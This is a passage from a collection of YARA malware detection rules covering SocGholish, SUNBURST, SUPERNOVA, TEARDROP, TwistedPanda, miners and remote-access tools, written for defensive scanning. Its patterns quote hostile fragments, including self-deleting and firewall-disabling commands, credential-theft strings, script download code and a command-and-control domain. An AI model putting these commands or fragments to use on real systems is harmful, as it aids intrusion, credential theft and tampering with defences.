		$s2 = "Web=1" fullword ascii
		$s3 = "Mail=1" fullword ascii
		$s4 = "FTP=0" fullword ascii
		$x1 = "IPAddressLow=78.109.194.114" fullword ascii

	condition:
		all of ( $s* ) or $x1
}

rule MAL_ZIP_SocGholish_Mar21_1 : zip js socgholish
{
	meta:
		description = "Triggers on small zip files with typical SocGholish JS files in it"
		author = "Nils Kuhnert"
		date = "2021-03-29"
		hash = "4f6566c145be5046b6be6a43c64d0acae38cada5eb49b2f73135b3ac3d6ba770"
		hash = "54f756fbf8c20c76af7c9f538ff861690800c622d1c9db26eb3afedc50835b09"
		hash = "dfdbec1846b74238ba3cfb8c7580c64a0fa8b14b6ed2b0e0e951cc6a9202dd8d"
		id = "da35eefd-b34d-59cd-8afc-da9c78ace96e"

	strings:
		$a1 = /\.[a-z0-9]{6}\.js/ ascii
		$a2 = "Chrome" ascii
		$a3 = "Opera" ascii
		$b1 = "Firefox.js" ascii
		$b2 = "Edge.js" ascii

	condition:
		uint16( 0 ) == 0x4b50 and filesize < 1600 and ( 2 of ( $a* ) or any of ( $b* ) )
}

rule EXT_MAL_JS_SocGholish_Mar21_1 : js socgholish
{
	meta:
		description = "Triggers on SocGholish JS files"
		author = "Nils Kuhnert"
		date = "2021-03-29"
		modified = "2023-01-02"
		hash = "7ccbdcde5a9b30f8b2b866a5ca173063dec7bc92034e7cf10e3eebff017f3c23"
		hash = "f6d738baea6802cbbb3ae63b39bf65fbd641a1f0d2f0c819a8c56f677b97bed1"
		hash = "c7372ffaf831ad963c0a9348beeaadb5e814ceeb878a0cc7709473343d63a51c"
		id = "3ed7d2da-569b-5851-a821-4a3cda3e13ce"

	strings:
		$s1 = "new ActiveXObject('Scripting.FileSystemObject');" ascii
		$s2 = "['DeleteFile']" ascii
		$s3 = "['WScript']['ScriptFullName']" ascii
		$s4 = "['WScript']['Sleep'](1000)" ascii
		$s5 = "new ActiveXObject('MSXML2.XMLHTTP')" ascii
		$s6 = "this['eval']" ascii
		$s7 = "String['fromCharCode']"
		$s8 = "2), 16)," ascii
		$s9 = "= 103," ascii
		$s10 = "'00000000'" ascii

	condition:
		filesize > 3KB and filesize < 5KB and 8 of ( $s* )
}

rule SocGholish_JS_22_02_2022
{
	meta:
		description = "Detects SocGholish fake update Javascript files 22.02.2022"
		author = "Wojciech Cieślak"
		date = "2022-02-22"
		hash = "3e14d04da9cc38f371961f6115f37c30"
		hash = "dffa20158dcc110366f939bd137515c3"
		hash = "afee3af324951b1840c789540d5c8bff"
		hash = "c04a1625efec27fb6bbef9c66ca8372b"
		hash = "d08a2350df5abbd8fd530cff8339373e"
		id = "68d2dbb7-0079-527a-92c7-450c3dd953b3"

	strings:
		$s1 = "encodeURIComponent(''+" ascii
		$s2 = "['open']('POST'," ascii
		$s3 = "new ActiveXObject('MSXML2.XMLHTTP');" ascii

	condition:
		filesize < 5KB and all of them
}

rule TA459_Malware_May17_1
{
	meta:
		description = "Detects TA459 related malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/RLf9qU"
		date = "2017-05-31"
		hash1 = "5fd61793d498a395861fa263e4438183a3c4e6f1e4f098ac6e97c9d0911327bf"
		id = "eb5d2464-ab95-5f5d-8b20-fa023da53130"

	strings:
		$s3 = "xtsewy" fullword ascii
		$s6 = "CW&mhAklnfVULL" ascii

	condition:
		( uint16( 0 ) == 0x6152 and filesize < 800KB and all of them )
}

rule TA459_Malware_May17_2
{
	meta:
		description = "Detects TA459 related malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/RLf9qU"
		date = "2017-05-31"
		hash1 = "4601133e94c4bc74916a9d96a5bc27cc3125cdc0be7225b2c7d4047f8506b3aa"
		id = "62954422-4657-5ded-9883-bb78eac697fb"

	strings:
		$a1 = "Mcutil.dll" fullword ascii
		$a2 = "mcut.exe" fullword ascii
		$s1 = "Software\\WinRAR SFX" fullword ascii
		$s2 = "AYou may need to run this self-extracting archive as administrator" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 900KB and all of ( $a* ) and 1 of ( $s* ) )
}

rule APT_Backdoor_SUNBURST_1
{
	meta:
		author = "FireEye"
		description = "This rule is looking for portions of the SUNBURST backdoor that are vital to how it functions. The first signature fnv_xor matches a magic byte xor that the sample performs on process, service, and driver names/paths. SUNBURST is a backdoor that has the ability to spawn and kill processes, write and delete files, set and create registry keys, gather system information, and disable a set of forensic analysis tools and services."
		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
		date = "2020-12-14"
		score = 85
		id = "74b44844-5575-53d7-819b-ab1b2327a144"

	strings:
		$cmd_regex_encoded = "U4qpjjbQtUzUTdONrTY2q42pVapRgooABYxQuIZmtUoA" wide
		$cmd_regex_plain = { 5C 7B 5B 30 2D 39 61 2D 66 2D 5D 7B 33 36 7D 5C 7D 22 7C 22 5B 30 2D 39 61 2D 66 5D 7B 33 32 7D 22 7C 22 5B 30 2D 39 61 2D 66 5D 7B 31 36 7D }
		$fake_orion_event_encoded = "U3ItS80rCaksSFWyUvIvyszPU9IBAA==" wide
		$fake_orion_event_plain = { 22 45 76 65 6E 74 54 79 70 65 22 3A 22 4F 72 69 6F 6E 22 2C }
		$fake_orion_eventmanager_encoded = "U3ItS80r8UvMTVWyUgKzfRPzEtNTi5R0AA==" wide
		$fake_orion_eventmanager_plain = { 22 45 76 65 6E 74 4E 61 6D 65 22 3A 22 45 76 65 6E 74 4D 61 6E 61 67 65 72 22 2C }
		$fake_orion_message_encoded = "U/JNLS5OTE9VslKqNqhVAgA=" wide
		$fake_orion_message_plain = { 22 4D 65 73 73 61 67 65 22 3A 22 7B 30 7D 22 }
		$fnv_xor = { 67 19 D8 A7 3B 90 AC 5B }

	condition:
		$fnv_xor and ( $cmd_regex_encoded or $cmd_regex_plain ) or ( ( $fake_orion_event_encoded or $fake_orion_event_plain ) and ( $fake_orion_eventmanager_encoded or $fake_orion_eventmanager_plain ) and ( $fake_orion_message_encoded and $fake_orion_message_plain ) )
}

rule APT_Backdoor_SUNBURST_2
{
	meta:
		author = "FireEye"
		description = "The SUNBURST backdoor uses a domain generation algorithm (DGA) as part of C2 communications. This rule is looking for each branch of the code that checks for which HTTP method is being used. This is in one large conjunction, and all branches are then tied together via disjunction. The grouping is intentionally designed so that if any part of the DGA is re-used in another sample, this signature should match that re-used portion. SUNBURST is a backdoor that has the ability to spawn and kill processes, write and delete files, set and create registry keys, gather system information, and disable a set of forensic analysis tools and services."
		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
		date = "2020-12-14"
		score = 85
		id = "329071d5-c9c6-5ae1-a514-aea9f4037bac"

	strings:
		$a = "0y3Kzy8BAA==" wide
		$aa = "S8vPKynWL89PS9OvNqjVrTYEYqNa3fLUpDSgTLVxrR5IzggA" wide
		$ab = "S8vPKynWL89PS9OvNqjVrTYEYqPaauNaPZCYEQA=" wide
		$ac = "C88sSs1JLS4GAA==" wide
		$ad = "C/UEAA==" wide
		$ae = "C89MSU8tKQYA" wide
		$af = "8wvwBQA=" wide
		$ag = "cyzIz8nJBwA=" wide
		$ah = "c87JL03xzc/LLMkvysxLBwA=" wide
		$ai = "88tPSS0GAA==" wide
		$aj = "C8vPKc1NLQYA" wide
		$ak = "88wrSS1KS0xOLQYA" wide
		$al = "c87PLcjPS80rKQYA" wide
		$am = "Ky7PLNAvLUjRBwA=" wide
		$an = "06vIzQEA" wide
		$b = "0y3NyyxLLSpOzIlPTgQA" wide
		$c = "001OBAA=" wide
		$d = "0y0oysxNLKqMT04EAA==" wide
		$e = "0y3JzE0tLknMLQAA" wide
		$f = "003PyU9KzAEA" wide
		$h = "0y1OTS4tSk1OBAA=" wide
		$i = "K8jO1E8uytGvNqitNqytNqrVA/IA" wide
		$j = "c8rPSQEA" wide
		$k = "c8rPSfEsSczJTAYA" wide
		$l = "c60oKUp0ys9JAQA=" wide
		$m = "c60oKUp0ys9J8SxJzMlMBgA=" wide
		$n = "8yxJzMlMBgA=" wide
		$o = "88lMzygBAA==" wide
		$p = "88lMzyjxLEnMyUwGAA==" wide
		$q = "C0pNL81JLAIA" wide
		$r = "C07NzXTKz0kBAA==" wide
		$s = "C07NzXTKz0nxLEnMyUwGAA==" wide
		$t = "yy9IzStOzCsGAA==" wide
		$u = "y8svyQcA" wide
		$v = "SytKTU3LzysBAA==" wide
		$w = "C84vLUpOdc5PSQ0oygcA" wide
		$x = "C84vLUpODU4tykwLKMoHAA==" wide
		$y = "C84vLUpO9UjMC07MKwYA" wide
		$z = "C84vLUpO9UjMC04tykwDAA==" wide

	condition:
		($a and $b and $c and $d and $e and $f and $h and $i ) or ( $j and $k and $l and $m and $n and $o and $p and $q and $r and $s and ( $aa or $ab ) ) or ( $t and $u and $v and $w and $x and $y and $z and ( $aa or $ab ) ) or ( $ac and $ad and $ae and $af and $ag and $ah and ( $am or $an ) ) or ( $ai and $aj and $ak and $al and ( $am or $an ) )
}

import "pe"

rule APT_Webshell_SUPERNOVA_1
{
	meta:
		author = "FireEye"
		description = "SUPERNOVA is a .NET web shell backdoor masquerading as a legitimate SolarWinds web service handler. SUPERNOVA inspects and responds to HTTP requests with the appropriate HTTP query strings, Cookies, and/or HTML form values (e.g. named codes, class, method, and args). This rule is looking for specific strings and attributes related to SUPERNOVA."
		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
		date = "2020-12-14"
		score = 85
		id = "73a27fa2-a846-5f4b-8182-064ac06c71a8"

	strings:
		$compile1 = "CompileAssemblyFromSource"
		$compile2 = "CreateCompiler"
		$context = "ProcessRequest"
		$httpmodule = "IHttpHandler" ascii
		$string1 = "clazz"
		$string2 = "//NetPerfMon//images//NoLogo.gif" wide
		$string3 = "SolarWinds" ascii nocase wide

	condition:
		uint16( 0 ) == 0x5a4d and uint32( uint32( 0x3C ) ) == 0x00004550 and filesize < 10KB and pe.imports ( "mscoree.dll" , "_CorDllMain" ) and $httpmodule and $context and all of ( $compile* ) and all of ( $string* )
}

rule APT_Webshell_SUPERNOVA_2
{
	meta:
		author = "FireEye"
		description = "This rule is looking for specific strings related to SUPERNOVA. SUPERNOVA is a .NET web shell backdoor masquerading as a legitimate SolarWinds web service handler. SUPERNOVA inspects and responds to HTTP requests with the appropriate HTTP query strings, Cookies, and/or HTML form values (e.g. named codes, class, method, and args)."
		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
		date = "2020-12-14"
		score = 85
		id = "c39bf9ba-fd62-5619-92b6-1633375ef197"

	strings:
		$dynamic = "DynamicRun"
		$solar = "Solarwinds" nocase
		$string1 = "codes"
		$string2 = "clazz"
		$string3 = "method"
		$string4 = "args"

	condition:
		uint16( 0 ) == 0x5a4d and uint32( uint32( 0x3C ) ) == 0x00004550 and filesize < 10KB and 3 of ( $string* ) and $dynamic and $solar
}

rule APT_HackTool_PS1_COSMICGALE_1
{
	meta:
		author = "FireEye"
		description = "This rule detects various unique strings related to COSMICGALE. COSMICGALE is a credential theft and reconnaissance PowerShell script that collects credentials using the publicly available Get-PassHashes routine. COSMICGALE clears log files, writes acquired data to a hard coded path, and encrypts the file with a password."
		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
		date = "2020-12-14"
		score = 85
		id = "c094943c-288e-5835-8066-8e95a992c76c"

	strings:
		$sr1 = /\[byte\[\]\]@\([\x09\x20]{0,32}0xaa[\x09\x20]{0,32},[\x09\x20]{0,32}0xd3[\x09\x20]{0,32},[\x09\x20]{0,32}0xb4[\x09\x20]{0,32},[\x09\x20]{0,32}0x35[\x09\x20]{0,32},/ ascii nocase wide
		$sr2 = /\[bitconverter\]::toint32\(\$\w{1,64}\[0x0c..0x0f\][\x09\x20]{0,32},[\x09\x20]{0,32}0\)[\x09\x20]{0,32}\+[\x09\x20]{0,32}0xcc\x3b/ ascii nocase wide
		$sr3 = /\[byte\[\]\]\(\$\w{1,64}\.padright\(\d{1,2}\)\.substring\([\x09\x20]{0,32}0[\x09\x20]{0,32},[\x09\x20]{0,32}\d{1,2}\)\.tochararray\(\)\)/ ascii nocase wide
		$ss1 = "[text.encoding]::ascii.getbytes(\"ntpassword\x600\");" ascii nocase wide
		$ss2 = "system\\currentcontrolset\\control\\lsa\\$_" ascii nocase wide
		$ss3 = "[security.cryptography.md5]::create()" ascii nocase wide
		$ss4 = "[system.security.principal.windowsidentity]::getcurrent().name" ascii nocase wide
		$ss5 = "out-file" ascii nocase wide
		$ss6 = "convertto-securestring" ascii nocase wide

	condition:
		all of them
}

rule APT_Dropper_Raw64_TEARDROP_1
{
	meta:
		author = "FireEye"
		description = "This rule looks for portions of the TEARDROP backdoor that are vital to how it functions. TEARDROP is a memory only dropper that can read files and registry keys, XOR decode an embedded payload, and load the payload into memory. TEARDROP persists as a Windows service and has been observed dropping Cobalt Strike BEACON into memory."
		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
		date = "2020-12-14"
		score = 85
		id = "88adad58-ba16-5996-9ea8-ea356c3ed5b2"

	strings:
		$sb1 = { C7 44 24 ?? 80 00 00 00 [0-64] BA 00 00 00 80 [0-32] 48 8D 0D [4-32] FF 15 [4] 48 83 F8 FF [2-64] 41 B8 40 00 00 00 [0-64] FF 15 [4-5] 85 C0 7? ?? 80 3D [4] FF }
		$sb2 = { 80 3D [4] D8 [2-32] 41 B8 04 00 00 00 [0-32] C7 44 24 ?? 4A 46 49 46 [0-32] E8 [4-5] 85 C0 [2-32] C6 05 [4] 6A C6 05 [4] 70 C6 05 [4] 65 C6 05 [4] 67 }
		$sb3 = { BA [4] 48 89 ?? E8 [4] 41 B8 [4] 48 89 ?? 48 89 ?? E8 [4] 85 C0 7? [1-32] 8B 44 24 ?? 48 8B ?? 24 [1-16] 48 01 C8 [0-32] FF D0 }

	condition:
		all of them
}

rule APT_Dropper_Win64_TEARDROP_1
{
	meta:
		author = "FireEye"
		description = "This rule is intended match specific sequences of opcode found within TEARDROP, including those that decode the embedded payload. TEARDROP is a memory only dropper that can read files and registry keys, XOR decode an embedded payload, and load the payload into memory. TEARDROP persists as a Windows service and has been observed dropping Cobalt Strike BEACON into memory. (comment by Nextron: prone to False Positives)"
		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
		date = "2020-12-14"
		score = 70
		id = "15dfdb74-5ca3-5bc6-be7a-730333b03ba5"

	strings:
		$loc_4218FE24A5 = { 48 89 C8 45 0F B6 4C 0A 30 }
		$loc_4218FE36CA = { 48 C1 E0 04 83 C3 01 48 01 E8 8B 48 28 8B 50 30 44 8B 40 2C 48 01 F1 4C 01 FA }
		$loc_4218FE2747 = { C6 05 ?? ?? ?? ?? 6A C6 05 ?? ?? ?? ?? 70 C6 05 ?? ?? ?? ?? 65 C6 05 ?? ?? ?? ?? 67 }
		$loc_5551D725A0 = { 48 89 C8 45 0F B6 4C 0A 30 48 89 CE 44 89 CF 48 F7 E3 48 C1 EA 05 48 8D 04 92 48 8D 04 42 48 C1 E0 04 48 29 C6 }
		$loc_5551D726F6 = { 53 4F 46 54 57 41 52 45 ?? ?? ?? ?? 66 74 5C 43 ?? ?? ?? ?? 00 }

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule MiniRAT_Gen_1
{
	meta:
		description = "Detects Mini RAT malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.eff.org/deeplinks/2018/01/dark-caracal-good-news-and-bad-news"
		date = "2018-01-22"
		hash1 = "091ae8d5649c4e040d25550f2cdf7f1ddfc9c698e672318eb1ab6303aa1cf85b"
		hash2 = "b6ac374f79860ae99736aaa190cce5922a969ab060d7ae367dbfa094bfe4777d"
		hash3 = "ba4e063472a2559b4baa82d5272304a1cdae6968145c5ef221295c90e88458e2"
		hash4 = "ed97719c008422925ae21ff34448a8c35ee270a428b0478e24669396761d0790"
		hash5 = "675c3d96070dc9a0e437f3e1b653b90dbc6700b0ec57379d4139e65f7d2799cd"
		id = "65d89762-2fd0-5c6a-b706-92d77a03089a"

	strings:
		$x1 = "\\Mini rat\\" ascii
		$x2 = "\\Projects\\ali\\Clever Components v7\\" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 7000KB and 1 of them
}

rule APT_CN_TwistedPanda_loader
{
	meta:
		author = "Check Point Research"
		description = "Detects loader used by TwistedPanda"
		date = "2022-04-14"
		reference = "https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/"
		score = 80
		hash1 = "5b558c5fcbed8544cb100bd3db3c04a70dca02eec6fedffd5e3dcecb0b04fba0"
		hash2 = "efa754450f199caae204ca387976e197d95cdc7e83641444c1a5a91b58ba6198"
		id = "a10f6019-f069-579c-b112-18537a7d8fd8"

	strings:
		$seq1 = { 6A 40 68 00 30 00 00 }
		$seq2 = { 6A 00 50 6A 14 8D ?? ?? ?? ?? ?? 50 53 FF }
		$seq3 = { 6A 00 6A 00 6A 03 6A 00 6A 03 68 00 00 00 80 }
		$decryption = { 8B C? [2-3] F6 D? 1A C? [2-3] [2-3] 30 0? ?? 4? }

	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and filesize < 3000KB and all of ( $seq* ) and $decryption
}

rule APT_CN_TwistedPanda_SPINNER_1
{
	meta:
		author = "Check Point Research"
		description = "Detects the obfuscated variant of SPINNER payload used by TwistedPanda"
		date = "2022-04-14"
		reference = "https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/"
		score = 80
		hash1 = "a9fb7bb40de8508606a318866e0e5ff79b98f314e782f26c7044622939dfde81"
		id = "0b44013d-0caa-5ea2-ab08-e2a6a5732c03"

	strings:
		$config_init = { C7 ?? ?? ?? 00 00 00 C7 ?? ?? ?? 00 00 00 C6 }
		$c2_cmd_1 = { 01 00 03 10}
		$c2_cmd_2 = { 02 00 01 10}
		$c2_cmd_3 = { 01 00 01 10}
		$decryption = { 8D 83 [4] 80 B3 [5] 89 F1 6A 01 50 E8 [4] 80 B3 }

	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and filesize < 3000KB and #config_init > 10 and 2 of ( $c2_cmd_* ) and $decryption
}

rule APT_CN_TwistedPanda_SPINNER_2
{
	meta:
		author = "Check Point Research"
		description = "Detects an older variant of SPINNER payload used by TwistedPanda"
		date = "2022-04-14"
		reference = "https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/"
		score = 80
		hash1 = "28ecd1127bac08759d018787484b1bd16213809a2cc414514dc1ea87eb4c5ab8"
		id = "bbbf3af1-127f-5d32-967f-bdb94311d1d6"

	strings:
		$config_init = { C7 [3] 00 00 00 C7 [3] 00 00 00 C6 }
		$c2_cmd_1 = { 01 00 03 10 }
		$c2_cmd_2 = { 02 00 01 10 }
		$c2_cmd_3 = { 01 00 01 10 }
		$c2_cmd_4 = { 01 00 00 10 }
		$c2_cmd_5 = { 02 00 00 10 }
		$decryption = { 80 B3 [5] 8D BB [4] 8B 56 14 8B C2 8B 4E 10 2B C1 83 F8 01 }

	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and filesize < 3000KB and #config_init > 10 and 2 of ( $c2_cmd_* ) and $decryption
}

rule APT_CN_TwistedPanda_64bit_Loader
{
	meta:
		author = "Check Point Research"
		description = "Detects the 64bit Loader DLL used by TwistedPanda"
		date = "2022-04-14"
		reference = "https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/"
		score = 80
		hash1 = "e0d4ef7190ff50e6ad2a2403c87cc37254498e8cc5a3b2b8798983b1b3cdc94f"
		id = "2172dd33-204b-5a05-ad26-534a0c1d7a17"

	strings:
		$path_check = { 48 8D [6] 48 8B ?? 48 81 [5] 72 }
		$shellcode_read = { 48 8B D0 41 B8 F0 16 00 00 48 8B CF 48 8B D8 FF}
		$shellcode_allocate = { BA F0 16 00 00 44 8D 4E 40 33 C9 41 B8 00 30 00 00 FF }

	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and filesize < 3000KB and $path_check and $shellcode_allocate and $shellcode_read
}

rule APT_CN_TwistedPanda_droppers
{
	meta:
		author = "Check Point Research"
		description = "Detects droppers used by TwistedPanda"
		date = "2022-04-14"
		reference = "https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/"
		score = 80
		hash1 = "59dea38da6e515af45d6df68f8959601e2bbf0302e35b7989e741e9aba2f0291"
		hash2 = "8b04479fdf22892cdfebd6e6fbed180701e036806ed0ddbe79f0b29f73449248"
		hash3 = "f29a0cda6e56fc0e26efa3b6628c6bcaa0819a3275a10e9da2a8517778152d66"
		id = "f61c8b97-5870-5837-942f-f1650870960a"

	strings:
		$switch_control = { 81 FA [4] 75 ?? E8 [4] 48 89 05 [4] E? }
		$byte_manipulation = { 41 0F [2] 44 [2] 41 [2] 03 41 81 [5] 41 }
		$stack_strings_1 = { 25 00 70 00 }
		$stack_strings_2 = { 75 00 62 00 }
		$stack_strings_3 = { 6C 00 69 00 }
		$stack_strings_4 = { 63 00 25 00 }

	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and filesize < 3000KB and #switch_control > 8 and all of ( $stack_strings_* ) and $byte_manipulation
}

import "pe"

rule MAL_XMR_Miner_May19_1 : HIGHVOL
{
	meta:
		description = "Detects Monero Crypto Coin Miner"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
		date = "2019-05-31"
		score = 85
		hash1 = "d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc"
		id = "233d1d47-de67-55a9-ae7e-46b5dd34e6ce"

	strings:
		$x1 = "donate.ssl.xmrig.com" fullword ascii
		$x2 = "* COMMANDS     'h' hashrate, 'p' pause, 'r' resume" fullword ascii
		$s1 = "[%s] login error code: %d" fullword ascii
		$s2 = "\\\\?\\pipe\\uv\\%p-%lu" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 14000KB and ( pe.imphash ( ) == "25d9618d1e16608cd5d14d8ad6e1f98e" or 1 of ( $x* ) or 2 of them )
}

import "pe"

rule HKTL_CN_ProcHook_May19_1
{
	meta:
		description = "Detects hacktool used by Chinese threat groups"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
		date = "2019-05-31"
		hash1 = "02ebdc1ff6075c15a44711ccd88be9d6d1b47607fea17bef7e5e17f8da35293e"
		id = "ae4e2613-8254-5ea6-af88-2f08ebe4da33"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and pe.imphash ( ) == "343d580dd50ee724746a5c28f752b709"
}

rule SUSP_PDB_CN_Threat_Actor_May19_1
{
	meta:
		description = "Detects PDB path user name used by Chinese threat actors"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
		date = "2019-05-31"
		score = 65
		hash1 = "01c3882e8141a25abe37bb826ab115c52fd3d109c4a1b898c0c78cee8dac94b4"
		id = "fc6969ed-5fc1-5b3b-9659-c6fc1c9e2f9c"

	strings:
		$x1 = "C:\\Users\\zcg\\Desktop\\" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and 1 of them
}

import "pe"

rule MAL_Ramnit_May19_1
{
	meta:
		description = "Detects Ramnit malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
		date = "2019-05-31"
		hash1 = "d7ec3fcd80b3961e5bab97015c91c843803bb915c13a4a35dfb5e9bdf556c6d3"
		id = "f8fa3557-556e-5680-9f1a-2ecf118ade75"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and pe.imphash ( ) == "500cd02578808f964519eb2c85153046"
}

rule MAL_Parite_Malware_May19_1
{
	meta:
		description = "Detects Parite malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
		date = "2019-05-31"
		score = 80
		hash1 = "c9d8852745e81f3bfc09c0a3570d018ae8298af675e3c6ee81ba5b594ff6abb8"
		hash2 = "8d47b08504dcf694928e12a6aa372e7fa65d0d6744429e808ff8e225aefa5af2"
		hash3 = "285e3f21dd1721af2352196628bada81050e4829fb1bb3f8757a45c221737319"
		hash4 = "b987dcc752d9ceb3b0e6cd4370c28567be44b789e8ed8a90c41aa439437321c5"
		id = "f4c9da17-9894-5243-828a-827accb0bac5"

	strings:
		$s1 = "taskkill /im cmd.exe /f" fullword ascii
		$s2 = "LOADERX64.dll" fullword ascii
		$x1 = "\\dllhot.exe" ascii
		$x2 = "dllhot.exe --auto --any --forever --keepalive" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 10000KB and ( 1 of ( $x* ) or 2 of them )
}

import "pe"

rule MAL_Parite_Malware_May19_2
{
	meta:
		description = "Detects Parite malware based on Imphash"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
		date = "2019-05-31"
		hash1 = "c9d8852745e81f3bfc09c0a3570d018ae8298af675e3c6ee81ba5b594ff6abb8"
		hash2 = "8d47b08504dcf694928e12a6aa372e7fa65d0d6744429e808ff8e225aefa5af2"
		hash3 = "285e3f21dd1721af2352196628bada81050e4829fb1bb3f8757a45c221737319"
		hash4 = "b987dcc752d9ceb3b0e6cd4370c28567be44b789e8ed8a90c41aa439437321c5"
		id = "33970268-610c-5abf-9e9e-83dae0c81064"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 18000KB and ( pe.imphash ( ) == "b132a2719be01a6ef87d9939d785e19e" or pe.imphash ( ) == "78f4f885323ffee9f8fa011455d0523d" )
}

rule EXPL_Strings_CVE_POC_May19_1
{
	meta:
		description = "Detects strings used in CVE POC noticed in May 2019"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
		date = "2019-05-31"
		score = 80
		hash1 = "01c3882e8141a25abe37bb826ab115c52fd3d109c4a1b898c0c78cee8dac94b4"
		id = "df11e0b1-e907-5a24-a3e7-0e78acb379f7"

	strings:
		$x1 = "\\Debug\\poc_cve_20" ascii
		$x2 = "\\Release\\poc_cve_20" ascii
		$x3 = "alloc fake fail: %x!" fullword ascii
		$x4 = "Allocate fake tagWnd fail!" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and 1 of them
}

rule Malware_QA_not_copy
{
	meta:
		description = "VT Research QA uploaded malware - file not copy.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "VT Research QA"
		date = "2016-08-29"
		score = 80
		hash1 = "1410f38498567b64a4b984c69fe4f2859421e4ac598b9750d8f703f1d209f836"
		id = "d618389b-ec80-5ad1-be44-4b1f3e36c07d"

	strings:
		$x1 = "U2VydmVyLmV4ZQ==" fullword wide
		$x2 = "\\not copy\\obj\\Debug\\not copy.pdb" ascii
		$x3 = "fuckyou888.ddns.net" fullword wide
		$s1 = "cmd.exe /c ping 0 -n 2 & del \"" fullword wide
		$s2 = "Server.exe" fullword wide
		$s3 = "Execute ERROR" fullword wide
		$s4 = "not copy.exe" fullword wide
		$s5 = "Non HosT" fullword wide
		$s6 = "netsh firewall delete allowedprogram" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( 1 of ( $x* ) or 4 of ( $s* ) ) ) or ( 5 of them )
}

rule Malware_QA_update
{
	meta:
		description = "VT Research QA uploaded malware - file update.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "VT Research QA"
		date = "2016-08-29"
		score = 80
		hash1 = "6d805533623d7063241620eec38b7eb9b625533ccadeaf4f6c2cc6db32711541"
		hash2 = "6415b45f5bae6429dd5d92d6cae46e8a704873b7090853e68e80cd179058903e"
		id = "1dce684d-33b0-5588-8325-2a34c0cde32f"

	strings:
		$x1 = "UnActiveOfflineKeylogger" fullword ascii
		$x2 = "BTRESULTDownload File|Mass Download : File Downloaded , Executing new one in temp dir...|" fullword ascii
		$x3 = "ActiveOnlineKeylogger" fullword ascii
		$x4 = "C:\\Users\\DarkCoderSc\\" ascii
		$x5 = "Celesty Binder\\Stub\\STATIC\\Stub.pdb" ascii
		$x6 = "BTRESULTUpdate from URL|Update : File Downloaded , Executing new one in temp dir...|" fullword ascii
